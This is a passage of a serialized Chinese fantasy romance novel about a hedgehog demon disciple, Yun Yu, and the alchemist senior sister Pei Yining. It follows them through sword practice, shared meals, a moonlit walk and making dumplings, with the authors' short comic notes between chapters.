视线一瞟,又发觉因刺猬形和宁依过于熟稔,以至于现在用人形和宁依接触时,连最基本的避嫌都忘记了。 这个时候再拿条手帕盖到宁依手背,意义不大——一人一妖的手都搭到一起了。 不知宁依会不会介意。 云榆硬着头皮开口:“师姐,准备好了吗?” 裴依宁从善如流:“可以了,云师妹。” 云榆:“好的,师姐,那我们现在开始。” 话音刚落,云榆排除心中杂念,选择了一套难度系数最低,上手最容易的一套剑招。 也是她入宗学习的第一套剑招。 剑鸣声不断,云榆在裴依宁耳边温声细语:“师姐,注意脚步。” 所有的注意力都集中到带着裴依宁练剑中,肢体接触产生的内心动荡在不知不觉间平复下去。 眼角的余光只能瞥见身后人些许面容,只有温热的呼吸和手背上的触感真实而温暖,裴依宁垂下眼睑,掩盖中其中蕴藏的点点笑意。 一套剑招结束,云榆如梦初醒,触电般松开裴依宁的手,脚步错乱地往后退了半步。她的身上残余着女人传来的淡雅药香。 她低垂着头:“师姐,感觉可还好。” 这次,小跟班应该能体会到剑法中蕴含的乐趣吧。 不枉她亲自动手教小跟班。 她真称职。 云榆在心底把自己夸了个遍。 裴依宁颇有一幅意犹未尽的样子:“很有趣,云师妹很会教人。” 云榆得意地扬了下头:“师姐谬赞。” 裴依宁慢悠悠地跟上一句:“平日里,应该这样指导过很多同门吧。” 一时间,周身的气压低了许多,云榆脊背莫名发凉,她不明所以地搂住肩膀:“没有啊,就只有今天,有位同门遇到了些问题,正好我会,就帮了点。” “这样啊。”裴依宁微微一笑。 不知为何,云榆觉得自己说完那句话,小跟班的心情似是好了许多。 她没空多想,几日不见小跟班,她着实馋对方的手艺了,得找个借口把宁依打发走,然后她好化作小刺猬,再去找对方。 她小刺猬为了一口吃食煞费苦心。 她都要心疼自己了。陷驻府 云榆顺势道:“天色不早了,师姐若是无事的话,师妹就先走了。” 这么急着跑? 裴依宁眉梢微挑,掐住对方的命脉:“无事,”她对着脚底抹油,急于离开的人道,“本还想让云师妹替我尝尝新菜品味道如何,既然云师妹有事,那便算了。” 云榆强硬地撤回原本调转的脚步,谄媚地笑:“没事,没事。” 她找小跟班就是为了口对方投喂的吃的:“师姐打算在哪品尝。” 小刺猬太好骗了,裴依宁弯唇,似笑非笑:“云师妹可来我洞府等待,当然,也可邀请我去师妹洞府内现做。” 云榆想也不想的邀请人到自己洞府内:“还请师姐到我洞府中一聚。” 一是此地的确离她的洞府近些,二是上次小跟班提过要来她的洞府,她不能以刺猬形邀请小跟班,以人形邀请,也算是弥补小小的遗憾。 虽然小跟班先前已经来过自己洞府几次,可这次,是自己正儿八经邀请对方来的。 她自有一份自己的诡辩。 云榆洞府内一如既往的朴素,除了必备的桌椅床外,可以用空荡荡来形容。 裴依宁取出一早准备好的食材,切刀,开火。 云榆在一旁打下手:“师姐,有需要我帮忙的吗?” “不用,你在那坐着就好。” “哪有让客人干活,主人坐吃等喝的。” 裴依宁翻菜的手一顿:“那麻烦云师妹帮我将肉清洗干净,再切成丝,可以吗?” “可以。” 身为剑修,云榆自认为剑使得不错,与之同理的刀,想来也是差不多的。 可真当下刀时,云榆发现其中大有学问,剑法上的内容根本无法套在餐刀上。 她用力捏着肉,一刀下去,只觉得肉有生命,会在她的挤压下,左右动,根本无法掌握住合适的大小。 怪不得她厨艺不行,基本功就不扎实。 偷偷瞥了眼身旁的女人,对方并未发现她的手忙脚乱。 于是乎,云某人为了保住名声,趁着裴依宁不注意,用灵力控制着肉和刀。 瞬息间,切成粗细一般的肉丝。 裴依宁感知到灵力波动,不看便知是有人做了弊。 她好笑地将做好的一盘回锅肉盛入碟子中,自筷笼中抽出一双筷子,就着热气腾腾,夹了一块回锅肉,伸到不知忙些什么的云某人唇边:“尝尝,第一次做,不知道合不合你胃口。” 云榆张口咬下,登时被烫得龇牙咧嘴,往嘴里扇风,边哈气边嚼,五官扭曲不成样,还不忘竖起大拇指:“好……好吃。” 本心疼她被烫到,可又被她滑稽的样子逗笑,裴依宁无可奈何地放下筷子,搭在盘子边缘,抹除她眼角被烫出的泪花:“怎么都不知道吹吹再吃?” 云榆舌头在口腔中快速来回摆动,以此缓解发疼舌根:“以往吃的很多都是凉的,一时没反应过来。” 裴依宁唇角的笑意凝固。 她给小刺猬开过数次小灶,剑法阁的饭菜即使不好吃,也是热的。 那么多顿热饭,都没让小刺猬养成习惯吗? 从小刺猬过往的话语推测,云榆口中吃的凉的,必不可能是凉食,应该是凉了的饭菜。 风餐露宿。 这四个字出现在裴依宁脑中。 她知道小刺猬入宗前过得不好,但每次听到小刺猬无意识提及时,心口还是会揪疼的厉害。 口腔种的灼烧感退去些许,云榆忍不住夸赞:“这就是师姐说的新菜品吗?很好吃。” 裴依宁回过神,望着笑眼弯弯的云榆,压下那股不顺,她捏起筷子,又夹了一块,放在唇边吹了吹,随后伸到云榆面前:“再吃一块?” 云榆张口接住,咀嚼时总觉得哪里怪怪的。 宁依这是怕自己再被烫到,吹好了,喂给自己的? 不对,她现在又不是刺猬形,是与宁依不过几面之缘的人形,宁依怎么这样喂她,难道私下里,也是这么喂别人的吗? 嘴里的回锅肉顿时不香了。 云榆视线追着将那盘回锅肉放到餐桌上,折身返回继续做菜的女人,几步挪到女人身侧,后腰靠在做饭桌的边沿:“师姐平日没事喜欢做什么?就是做饭吗?” 她眼巴巴地瞅着锅内翻炒的食物:“做完自己尝还是找别人?” 裴依宁接水洗手:“平日没事的话,会在灵丹堂殿阁内研究新的丹方。” 哟,研究新的丹方,她记得只有七品及以上品阶的炼丹师才有能力去研究新的丹方。 宁依不过入宗多久,就开始编这种瞎话了。 明明知道对方在编,还不能戳穿。 “至于新菜品,有专门的饭搭替我品尝。”裴依宁想到某只贪吃的小刺猬,轻笑一声,“一个很可爱的小东西。” 云榆瘪嘴,无声中阴阳怪气:“专门的饭搭,很可爱的小东西。” 切,有多可爱,能有她小刺猬可爱。 不识好歹的宁依,气得她要把宁依今日新做的菜品都吃完。 她嘴巴张张合合,却没发出声音,裴依宁偏头看了她一眼。 视线过来,云榆闭了嘴,微笑:“师姐,是我脸上有东西吗?” 小刺猬向来有占有欲,感觉小跟班被别人抢走了:“是什么小东西吗?” 裴依宁撒糖入锅:“没有,云师妹也很可爱。” 怎么能用可爱形容自己。 某只表面是人形,心里早已经成小刺猬在心里默默反驳。 “云师妹这里有水吗?”裴依宁突然问。 云榆下巴微扬:“你手边就是。” 裴依宁笑:“喝的水。” “哦。”云榆去桌边倒了杯温水,她不喜喝茶,水都是白水。 她沉着脸拿出茶叶,煮茶:“我这现在只有这种,可以吗?”她扭头,“茶在煮,要等会。” 裴依宁接过:“可以的。” 她抿了口润润唇,手腕翻转,锅里的菜进了菜碟中:“只不过我的饭搭是只小动物。” 小动物,陪宁依吃饭的小动物应该只有她一个吧。 宁依说的那只可爱的小动物是她? 嗯,她的确很可爱。 裴依宁声音适时传来:“很可爱的小动物。” 作者有话说: 裴师姐:饭搭子很可爱 小刺猬:切,多可爱 裴师姐:饭搭子是只小动物 小刺猬:嗯,你饭搭子的确很可爱 第45章 第四十五章[VIP] 一句话就让某只小刺猬夸得翘起了小尾巴。 云榆手背虚搭在唇边, 挡住忍不住的笑意,皙白的面容晕上点点红意,她后腰抵靠了下桌沿,身体顺势往前走了点, 只留下背影给起锅做菜的人。 故作无意地接了句:“师姐既然这般说, 想来那小刺……小动物定然很可爱。” 不声不响地把自己夸了遍,云榆面上的燥意更甚, 快步走到饭桌旁, 佯装无事地摆弄上方的餐食。 嗅闻到清雅的茶香,云榆提个茶杯, 舀了些白水冲洗一遍,手腕转动, 拎起茶壶,倒下半杯。 裴依宁听着身后水声动静,扭头看了眼,正对上云榆端茶过来,四目相对, 不说话气氛略有不对:“茶煮好了?” 云榆:“煮好了, 这茶叶是前几日朋友给我的, 不知师姐喜不喜欢。” 这茶叶是应滟给她的, 说是入宗前, 家里人让她带了许多东西, 茶叶是其中之一。届时分给宗内同门,日后好得到她们的照顾。 应滟虽平日大大咧咧, 但也知人情世故, 可入宗后发现,这种在宗门外极为好用的法子, 入宗后,压根行不通。 在日复一日的修炼和师姐们的倾心教导下,她歇下了家里人为她安排的心思,老老实实修炼。 前几日应滟整理空间储物内的东西时,分了些茶叶给她们。 云榆本不想要,但想到小跟班好似喜茶,就接了点。 裴依宁腾出手接过,唇贴在杯沿边抿了口,口感鲜醇,入口回甘,清香的茶香溢满口腔。 虽不能与原师姐那里的茶相比,但也算的上是不可多得的好茶:“挺好的,云师妹是从哪位朋友那取的?” 小刺猬不喜茶,她知道。小刺猬不愿收人人情,她也知道。 哪位朋友能让小刺猬心甘情愿的收下别人送的东西。 莫不是她不知道的朋友。 裴依宁捏着杯身的指骨不由得攥紧,指骨连接处青筋绷起。 不是不可告人的秘密,云榆耸肩:“应同门给的。” 裴依宁眉梢半挑,绷紧的气力松开。贤诸副 原来是应滟。 在她所知范围内。 裴依宁又押了口茶,单手将新出锅的菜品端给云榆,示意她端到饭桌上。 云榆老实照做,垂目,肉沫与豆腐完美融合在一起,只一眼就让妖食欲大开。 宁依今日做的菜,都是之前不曾吃过的。 小刺猬心里有了别的意见,某个宁依说小动物是她的饭搭,是她新菜品的尝试者,结果这几样菜,没一个是她先前见过的。 骗人就算了,还骗刺猬。 云榆表面笑容满面,心里各种找小跟班的刺。 却见小跟班已放下茶杯,抓着新食材,刀法如残影,让妖看得不真切,挥舞间,厚度相同的鱼片在半空中划出优美的抛物线,接二连三地入了锅内。 锅内汤沸腾,随着鱼片入内,发出“滋滋”的声响。 云榆看得目瞪口呆,不可置信地学着裴依宁挥舞的姿势。 这刀法真是比她好了不止一星半点。 云榆自信心受到打击,但转念想到,宁依剑法不如她啊。 今日她还手把手地带着宁依舞了一套剑招。 云榆心里平衡了。 一炷香后,在灵力的作用下,最后一道水煮鱼片出锅,猩红的汤汁裹挟着浓重的热气,遮住云榆窥探的目光。 饭菜全部上桌,云榆禁不住口腹之欲,先给裴依宁盛了碗饭,随后迫不及待地给自己盛了碗。 夹起一块冒着热气的鱼片,在饭中摆几下,颗颗分明的饭粒现出红汁。 该有的姿态还是有的,再怎么急促,云榆也知吃有吃相,吃姿还算优雅地下了肚。 辣度在舌尖迸发,很符合她的口味。 裴依宁捏起勺子:“肉沫豆腐,要尝尝吗?” 云榆点头如捣蒜,碗一伸。 裴依宁微微起身,舀起一勺倒入云榆碗中。 几日没尝,饭桌上云榆话都少了,只顾及眼前食物。 裴依宁碗中饭几乎未动,云榆捻起公筷,夹了几筷子送入女人碗中:“你怎么不吃?” 吃得忘乎所以,都快忘了现在是人形了。 裴依宁手肘支撑着桌面,双手交叉,下巴叠在上面,两肘中间的碗堆积如山。 等云榆放下筷子,裴依宁调整姿势,单手散漫地撑着侧脸,另只手夹过云榆送入碗中的食物,小口吃着。 小半个时辰后,饭饱的云榆倒到椅背上,抚上圆滚滚的肚子。 唇被辣得肿了一圈。 裴依宁只将碗中食物吃完便不再动筷,大多数时间是在看面前的人,全神贯注地处理饭菜。 “吃好了吗?”裴依宁温声问。 云榆双眸发亮:“吃好了,师姐。” 她主动收拾碗筷,不给裴依宁搭把手的机会,直接清洗干净,放置到专门的地方。 月色悄然爬上,裴依宁闭了下眼,端着凉透的茶,慢品。 泛着苦意。 云榆回来瞧见,出声提醒:“师姐,茶凉了,你若喜欢,我这还有些茶叶。” 本就是要给小跟班的。 裴依宁应了她的好意。 “刚吃完饭,云师妹可否陪我散步消食。” 没了美食在中间做桥梁,她和人形的云榆没了继续的话题,裴依宁寻了个新借口。 云榆自不会拒绝她这般简单的要求。 石门打开,月色入户,裴依宁与云榆并肩而行,月光将她们的影子拉长。 影子交缠地贴在一起。 漫步在剑法阁的峰阁边,裴依宁稍一侧目,就能看见跟在她身边的人。 云榆轻松无比,来了兴致,口中哼着不成调的曲。 许是投射过来的视线过于炽热,云榆意识到身边有人,停止了哼唱,尴尬地摸住鼻子:“师姐,今晚月色真好。” 明黄色的月光将整片天空晕染出暖意,漫天繁星闪烁,伴随着微风浮动,偶来几声鸟叫,突兀明显。 “是很好。”裴依宁从然抬头,凝视着那轮弯月,“师妹喜欢吗?” 云榆笑:“喜欢啊,”她思绪放空,回忆幼时的夜晚,“我小的时候,最喜欢这样的夜晚,满天繁星,意味着明天大概率会是个晴天。我可以和姐姐背着家里人去外面玩。” “很多差不多的小道交织在一起,稍不注意就会走错,但我从来没有走错。”云榆自豪,“我知道我们那各种果树结果时间,还知道怎么趁人不注意偷偷采摘几枚。” 虽然有时会被人发现。 她忍不住笑出声:“我记得有好多次,都没爬上树就被人发现,我和姐姐就会赶紧逃跑。但很多时候是跑不过人的,”说着说着,云榆顿了顿,低喃道,“我现在可以跑得过人了。” 她可以修炼,有了灵力,会御剑飞行。 肩膀被搭上一只手,裴依宁温声说:“师妹很厉害。” 星星很厉害。 云榆怔愣了下,笑出声:“那是,现在的我很厉害了。”她一时间忘记了隐藏,拿出了刺猬形和女人相处时的语气,“当然啦,以前的我也很厉害,我还会下河抓鱼。” 不过更多的是鱼戏耍,欺负小刺猬不能下水,有一次她和姐姐实在饿得走不动路了,窝在河流边喝水充饥,一条小鱼游到她的面前,泼了她一脸的水。 她气得要去找那条小鱼报仇,被带着入水,一不注意,水面没入头顶,呛了好多水,最后还是姐姐找了跟耙子,将她耙了上来。 再后来,她不服输,偷偷跑去练习水性。 小刺猬能下水,可下水会让小刺猬害怕不安,她克服生理和心理的双重恐惧,一点点拉长在水中的时间。 “那抓到鱼了吗?”裴依宁问。 云榆抿唇,不好意思地笑:“没有,鱼好滑,游得好快。” 还有许多的大鱼,比尚且是小刺猬的她大好多,她根本无法抓住,侥幸抱住了,还会被鱼一甩尾巴丢出去。 小鱼蹿得更是快,她连鱼尾都看不见。 裴依宁:“那偷摘果实被发现了会怎么样?” 云榆耸耸肩,轻松无比:“会被骂,还会被打吧。” 裴依宁呼吸凝滞,说不出更多的话来。她想起原师姐之前说的话。 为什么小刺猬还被原以诗和宗主救治后,几年后才入宗门,在这几年中发生了什么,又是因为什么,让小刺猬下定决心入的宗门。 这时,云榆突地笑起来,眉眼弯弯,眼睛中含着水润的光泽,“骗你的,师姐。”她调皮地眨起眼睛,长而翘的睫毛颤动,灵动无比,“刚刚在和你开玩笑,师姐不会怪我吧。” 她的心态总是很好,云淡风轻地将过往一带而过,只保留美好的一部分,反复回味咀嚼。 “不知道那里的小河小溪还在不在,我离开的时候,就有好多溪流被填土,成了一滩死水。” 云榆呼出一口气,径直坐到路过的一块石头上,喊了声不知在思考什么,没能注意四周,只知一味往前走的人:“师姐,再往前就出峰阁了。” 今日师姐叫得越发顺口了。 裴依宁回过神,往回退了几步,立于云榆身前,不坐不动:“你刚刚说,你和你姐姐?” 云榆“嗯”了声。 裴依宁知晓小刺猬或许有家人,但小刺猬的家人为何没与小刺猬一同入宗。 许是猜到了女人的想法,云榆维护自家姐姐:“我姐姐可不是因为天资不够入不了宗。姐姐天资比我高很多。” 她能入宗,姐姐定然可以。 裴依宁弯身,抚在云榆的肩膀处,指腹捻在上面:“云师妹日后想吃什么,或者有什么需要,尽可以来灵丹堂找我。” “和云师妹相处很开心,”明知小刺猬不可能以人形的身份去灵丹堂找自己,但她还是任由本心,一语双关:“我很喜欢,很喜欢你。” 作者有话说: 小刺猬:和小刺猬相处不开心吗?不喜欢小刺猬吗? 今天又又准时啦 第46章 第四十六章[VIP] 不是, 宁依那两句话是什么意思。 和云师妹相处很开心,那是不是和小刺猬相处不开心。 很喜欢云师妹,是不是意味着不喜欢小刺猬,或者没那么喜欢小刺猬。 在修炼中途的休息时间, 云榆本因为裴依宁的两句话而洋洋得意, 可几度回味后,她发现了不一样的点。 她可是小刺猬啊, 时常用原身与宁依夜会的小刺猬, 自己的人形才与宁依见过几次面,宁依就说出那种话来。 更何况, 宁依可从来没有对小刺猬说过“我很喜欢你”这种类似的话。 越想越不对劲。 云榆暗暗磨牙,昨晚她怎么就没想到这点, 真是被宁依的花言巧语哄得分不清东南西北了。 她恨恨地捏起一块小石子,假想成宁依,往前一丢。 石块滚动数圈,被一只鞋子挡了去路。 视线顺着鞋面往上抬,刚捏起的一块新石子从两指间悄然滑落。 杜寻雁居高临下地望着闷闷不乐的人, 剑鞘伸出, 云榆握住, 借力站起。 她恭敬:“杜师姐。”经过洗髓之事, 她与杜寻雁熟稔许多, 可该有的局促还在, “师姐来找我,可是因为我刚刚有出错的?” 她在收剑时就意识到问题, 但因为品味出宁依话中对小刺猬的不公平, 是以没有立刻指正,而是找块地方, 边坐边思考宁依对小刺猬的区别对待。 从而得出结论,宁依是坏人,分不清谁对她好。 小刺猬对她那么好,她竟然不夸小刺猬。 不对,她夸小刺猬可爱了。 “出错?”杜寻雁打断了云榆的思索,“我适才没注意这边,不知道你可有不对之处。” 云榆:“杜师姐有事找我?” “嗯,”杜寻雁五官皱在一起,欲言又止,一幅很难想象的样子,“过两日灵丹堂的裴师姐需外出一趟,原本是我同裴师姐出去的,但这几日我有事,无法一同,你有时间代替我同裴师姐外出吗?” 她给云榆戴上一顶高帽:“入宗的新弟子中,你进度最快,选你最合适不过。” “灵丹堂的裴师姐?”云榆听过很多次这人的名号,可至今不曾见过对方,再加之对方本来是同杜师姐这种修为高深的人一起外出,她一个小小橙灵,跟在那种大能身边,岂不是一大累赘。 她默默道:“我会拖裴师姐后腿吧。” 她和裴师姐不是一个峰阁的人,过往没什么交集,互不熟悉,到时做错事,说错话,惹得裴师姐不高兴就不好了。 杜寻雁模板地回复:“没关系,裴师姐只是想路上有个伴罢了,你当是一场历练。裴师姐虽是丹修,但剑法上造诣亦是不俗,路途中还能指点你一二。” 云榆动摇的心因杜寻雁的几句话坚定下来。 她体内灵力充盈,却迟迟没有突破的迹象,外界的冲击或许能助她一臂之力。 外出历练无疑是个不错的选择。 不再犹豫,她点下头,答应:“好的,杜师姐,我到时去哪里和裴师姐汇合呢?” 杜寻雁道:“裴师姐这两日忙碌,还未于我说这些,届时有确切的消息,我传音于你。” 既是与裴师姐外出,云榆自是不敢懈怠,她事先听说过各种关于裴师姐的事,尤其是对方不通人情这点。 她之前还提醒过宁依这点,没想到她马上也要与不通人情的裴师姐独处了。 云榆抱着剑跑到练剑之所,这两日再努力往上提提,不至于太拖裴师姐后腿就好。 从藏书阁中取出的那本身法古籍,她囫囵学个遍,但因时间短,难以精通,速度提得不多,勉强可以从黄灵手底下安然脱离。 双掌贴合至膝盖,云榆闭目运转体内的灵珠,丝丝缕缕的灵气围绕盘旋在她的头顶,形成一道气旋,吸引更多的灵气灌入体内。 灵珠运转地越发快,灵海内的佩剑虚影不断颤动,嗡鸣声不止。 不知过了多久,云榆吐出一口浊气,只觉身体轻松无比,四肢百骸的筋脉被打通,灵气畅通无阻地游荡在身体各个部位。 云榆望了眼天色,此去不知何时才能再回,她催动留给宁依的那根刺,约对方今晚一见,提前告知对方未来几日或无法相见。 收到宁依同意的回复,她撑着地面起来。 不料刚出练剑之所,迎面撞上前来找她的杜寻雁。 差点撞到一起的两人齐刷刷往后退了半步,差点贴近的身体刹那间分开。 云榆尴尬一笑:“杜师姐,还有别的事吗?” 都说杜师姐私下里性格莽撞,她还不觉得,今日属实是见到了。 杜寻雁气息不稳,刚从另一处修炼之地过来:“云师妹,裴师姐说两日后的辰时,在宗门门口等你。”顿了顿,她说,“裴师姐会带一位灵丹堂的新弟子,届时你们三人一同。” 还有一个新弟子,云榆无形中松了口气。不至于独自面对那位神出鬼没的裴师姐就好。 云榆道:“好的,杜师姐,我会提前前往宗门口等待的。” 杜寻雁拍拍她的肩膀,张了张口,最后只吐出几个字:“注意安全。” 先是回了趟洞府,云榆洗漱一番,等到夜色降临,宗门趁沉寂下来,她身形一矮,一米七的人化作几厘米高的小刺猬。陷诸府 习惯性地嗅闻空气,云榆蹦蹦跳跳地上了窗台,往下一滚,消失在无边的草叶中。 直至一炷香后,灵丹堂峰阁的边缘,一处草丛发出窸窸窣窣的声音,不多时,圆滚滚的球从中滚出,直奔灵丹堂弟子居所而去。 熟悉地避开灵丹堂的巡视弟子,再熟悉地翻上裴依宁洞府的窗户。 小刺猬用力搬起支起一条缝的窗户,黑漆漆的影子映在窗户上。 裴依宁正在准备今晚膳食的吃食,听见声响,回眸就见某只小刺猬不知在窗外做什么。 她走过去,掀开窗户。 映在窗面的小刺猬影子消失了。 小刺猬正用尽全力搬动,忽而窗户朝她的方向打开,她收力不及,被掀翻出去,在半空中落下一道抛物线,隐没在夜色的草地中。 被掀翻在地的小刺猬:“……” 分明感知到了小刺猬的气息,一开窗怎么不见了。 裴依宁释放灵识,小刺猬仍旧在她附近,她眼皮一跳,下意识地垂眸。 眸色漆黑的小刺猬生无可恋,一脸幽怨地望着她。 裴依宁:“……” 指尖幻化成一条灵绳,自动捆绑到小刺猬身上,将不幸掉落的小刺猬卷了上来。 深知某只小刺猬要面子,裴依宁忍着笑,故作不知地问:“好巧啊,刚开窗就看见星星了。” 小刺猬借坡下驴,皮笑肉不笑:“是很巧啊。” 可恶,差点又在小跟班面前丢人了。 被人好生抱着,小刺猬的心情才稍好一些,她顺着裴依宁的胳膊一路上到女人的肩膀,坐上去,双爪环抱,下肢自然垂落,端的一幅老神自在样。 “今天吃什么?”小刺猬问。 裴依宁指了指不远处的一小盆饺子馅以及桌案上的一团揉好的面:“包饺子,星星吃吗?” “饺子?”小刺猬伸长脖子,自言自语,“这种新奇的东西我以前听人说过,吃起来怪麻烦的。” “新奇的东西?”裴依宁呢喃重复,唇边扬起的弧度凝固,一点点归于平直。 饺子对于小刺猬来说都是一种新奇的东西吗? 小刺猬理所当然地点头:“对啊,我还没吃过,宁依快做,我好尝尝到底是什么味道。” “好。”裴依宁抿了下唇,默不作声地揉面,揉成一条圆柱形,取刀切下一块块圆片。 她将圆片压扁,摸出一根手臂长的圆柱形棍子,两端偏小。 小刺猬头一次见:“这是什么厨具吗?” 裴依宁温声:“擀面杖。” 小刺猬目不转睛地看着裴依宁拿过一个圆片,放在擀面杖下面滚来滚去,几秒间,一张圆圆的饺子皮出现。 裴依宁拿起饺子皮,从馅盆中舀出一勺馅放入饺子皮中,手指灵活地捏动几下,一个外观极好看的饺子出现在裴依宁掌心。 看着不难,小刺猬跃跃欲试:“宁依,宁依。” 她喊裴依宁的名字,双爪伸出,眼睛亮亮的:“我想试试。” 裴依宁怎么会拒绝她,当下擀了张饺子皮递给从她肩膀跳到桌案上的小刺猬爪中。 回忆宁依的动作,小刺猬趴在馅盆边,踮起下肢,颤颤巍巍地舀出一勺饺子馅。 饺子皮陷入她的爪缝中,她急忙合拢爪缝,可这样一来,她的爪子太小,馅从爪子两边滑了下去。闲主赋 小刺猬顾头不顾尾,怎么做都不行。 一只手将她的饺子皮拿走,不待反应,一张新的饺子皮被放过来。 与她小爪子差不多大小。 小刺猬扬头,裴依宁曲指点点她的额头:“包吧。” 这次小刺猬可以充分控制住饺子皮和饺子馅不乱跑,但捏合饺子时,因不熟练显得心有余而力不足。 费了一番功夫,一只奇丑无比的小饺子出现在小刺猬的爪子上:“宁依,快看,我包的小饺子。” 裴依宁手不停:“星星好棒。” 一只精致的饺子出现,边缘褶皱更是让妖称绝,小刺猬拿过她包的饺子,放在自己包的饺子旁边。 一大一小,一丑一美,对比突出明显。 小刺猬不内耗:“我们一起包,可以快很多!” 裴依宁轻笑:“好啊。” 等包到最后,饺子馅用完了,饺子皮还剩下几张,小刺猬摊着一张皮,努力地刮盆中的馅。 将爪边的饺子包完放好,小刺猬无奈:“馅没了,皮还有,怎么办?” 裴依宁微微一笑:“还有馅啊。” “在哪?”小刺猬主动要去拿。 裴依宁抓住小刺猬放在掌心的饺子皮上,抱住小刺猬的小半个身体:“在这里。” 作者有话说: 小刺猬:……???你在做什么? 裴师姐:包刺猬。 第47章 第四十七章[VIP] 被面皮裹住的的小刺猬石化当场, 连挣扎都忘了,一时间,圆溜溜的眼睛一瞬不瞬地盯着面前的女人。 片刻后,小刺猬炸毛了, 全身的刺竖起, 不留情面地戳破面皮。 刺上挂着面点,小刺猬:“馅漏了, 包不了了。” 一本正经地抓起身下的面皮, 努力往身上贴,可千疮百孔的面皮经不住她这般, 柔软无力地挂在她身上。 小刺猬歪头,揪住一边, 拉长:“你看,这块面皮不能用了。” 她站起身,折折叠叠将面皮折在一起,踩在上面,爪子上抬, 示意裴依宁手臂往上举。 在到达裴依宁胸口位置, 加之自身的身高, 小刺猬伸长爪子, 一个起跳, 一爪落在裴依宁肩膀上:“宁依是笨蛋。” 数个动作, 连贯着就为了这一下。 那爪并不疼,隔着衣衫, 软绵绵地, 裴依宁拨开黏在刺上的面:“那星星呢?” 小刺猬又是一爪,但这次落到了裴依宁为她清理的手背上:“我是聪明刺猬。” 裴依宁:“……是, 星星是聪明刺猬。” 水煮开,裴依宁将饺子放入锅中,小刺猬顺着女人的手臂爬到肩膀上坐着,不再打扰裴依宁的做饭节奏。 她见裴依宁取出一大一小两只碗,分明倒入各种料子,最后倒上黑如墨的液体。 空气中凝成酸味。 葱花撒入其中,小刺猬抱住裴依宁的脖颈,探头探脑:“喝的吗?” 醋她认得,那东西可以生喝,但酸味十足,喝一口,五官都能扭曲不成样。 两碗蘸料做好,裴依宁道:“沾饺子吃的,星星可以尝尝喜不喜欢。” 饺子入碗,小刺猬眼巴巴地等着,却发现其中一碗的饺子都是小小一个,丑陋无比。 一眼认出这是她包的。 反观另一碗,则都是宁依包的。 小刺猬双爪交叉,忸怩于下方的两碗。 对比太明显,结局太惨烈,小刺猬不忍直视自己包的那份。 明明包时还不觉得。 “怎么了?” 刚将小刺猬放到饭桌上,还没来得及放勺子,就见某只小刺猬眉心紧缩,嘴中含着一口气,撑的脸颊两侧圆滚滚的。 裴依宁忍不住戳戳小刺猬鼓起的脸颊肉,一边下去,另一边还有。 她戳了另一边,结果还是如此,这边下去,那边又起来了。于是她同时按住小刺猬脸颊两侧,虎口卡在小刺猬的唇边。 气流从口中出,喷洒在裴依宁手部。 小刺猬示威般地张口咬在女人虎口处。 脸部的毛发扫到虎口边缘,气流落下时的酥痒没散去,新的一轮出现。 裴依宁鸦羽般的睫毛不断颤动。 下首的小刺猬抱住她的手腕,眼神上漂,牙齿磨在肌肤上,印下浅浅的痕迹:“这是捏我的惩罚。” 小刺猬耳尖漫上红意,毛发覆盖下更是红润一片。 裴依宁从善如流地道歉:“我知道错了,星星。” 小刺猬本着大度的原则原谅了小跟班。 勺子吃饺子不方便,她从筷笼中抽出两根筷子,斜插入饺子中,用力将饺子举起,放置蘸料碗中。 米黄色的饺子缀上棕黑色的蘸料。 “烫,吹吹再吃。”裴依宁出言提醒。 小刺猬大开的唇闭上,吹得温凉后咬上一口。 眼角的余光注意到裴依宁面前的那碗,赫然是她包的那份,小而丑的饺子。 裴依宁夹起一只小饺子,蘸料递到小刺猬唇边:“要尝尝自己包的吗?” 馅料都是提前备好的,饺子皮也是裴依宁亲手揉的,怎么包都不会有多大的味道区别。 小刺猬一口咬下。 味道和爪上的这只差不多。 除了小,别无缺点。 一顿饭后,小刺猬四仰八叉地躺在裴依宁的床上,下一刻,水声传入,是裴依宁在清洗碗碟。 小刺猬翻身侧躺,下肢如人般弯曲,等女人提着滴水的手走近时,她体贴地扔过去一张手帕:“宁依,我今晚来,是有事与你说。” 裴依宁:“嗯?” 小刺猬道:“我后段时间有事,大概无法来见你了。”就尝不到小跟班的手艺了,“我要出宗一趟,具体归期未知。” “这样啊,”裴依宁并无惊讶,俯身曲指落下小刺猬脑袋边,“我也有出宗的任务,本还担心无法跟你告别。”她偏侧过身,躺在小刺猬面朝的那方,支起手肘,“毕竟只有星星能单方面找我。” 那根刺小刺猬催动才有反应。 她想约星星见面,并无好法。 听出言外之意的小刺猬摸摸鼻子,回避:“有吗?没有吧。” 小刺猬轻咳:“此次一别,约莫好几日才能再见。你若是想到我,紧紧握住那根刺,我便能感应到。同理,我想到你,也会催动刺告知你。” 小刺猬用词微妙,想到你,而不是想你。 一字之差,意思便是天壤之别。 凭空取出那根刺,裴依宁不动声色地捏起,肉眼可见的,刚刚软下去的刺竖起。 小刺猬茫然地:“你握紧刺了?” 裴依宁“嗯”了声,低语:“若是我日日想你,可以日日用它来传递我的思念吗?” 宁依用词好奇怪,但小刺猬还是点头:“可以的。” 因要出宗的原因,她这两日只打算留在洞府内修炼,住在宁依这也一样。 小刺猬滚动几圈,贴到墙面:“今晚我留在这?” 裴依宁自是应允。 沉寂的夜晚,小刺猬总是会吐露出更多的心情,闲聊般地说东说西。 但今晚的小刺猬吃饱后,困意上涌,没说几句就打了个哈欠,眼皮渐渐阖上。 裴依宁毫无困意,身旁刺猬枕在专属枕头上,只露出小半个头出来,剩余的蒙在被子中。 担心小刺猬呼吸不顺,裴依宁将被子往下轻拉,露出小刺猬的口鼻。 睡梦中的小刺猬许是察觉到人的打扰,哼哼唧唧地往裴依宁方向滚去,触碰到阻挡物,小刺猬顺从地贴着,额头无意识蹭蹭,含糊不清地吐出:“别乱动。” 声音轻轻的,让人听不清。 裴依宁偏过头去听,然,小刺猬陷入新一轮的沉睡。 裴依宁无可奈何地弯下唇:“睡吧。” 她闭上眼酝酿睡意,忽地,胸口一沉,平直的腿被不老实地搭上一条,半边身体落进温热中。 裴依宁猛地睁开眼,小小的刺猬竟是变成了人形,睡姿极不规范地,如同抱着枕头般地抱住她。 许是没找到舒适的位置,云榆不安地动着,头不断调整位置,额头一会贴着女人的肩膀,一会贴到女人的脸颊,几次调整下来,终于找到了合适的位置。 她贴到了女人的脖颈中,一条手臂搭在女人的腰腹处,腿依旧搭在裴依宁的腿上。 整个人几乎攀附到裴依宁身上。 裴依宁呼吸凝固,空气中,她听见自己心脏跳动,血液流淌的声音,声震如鼓,一下下地冲击耳膜。 小刺猬变成人形了…… 云榆抱住了她…… 无数的念头盘旋在脑海中,僵硬的肢体动弹不得,唯恐惊醒怀中人。 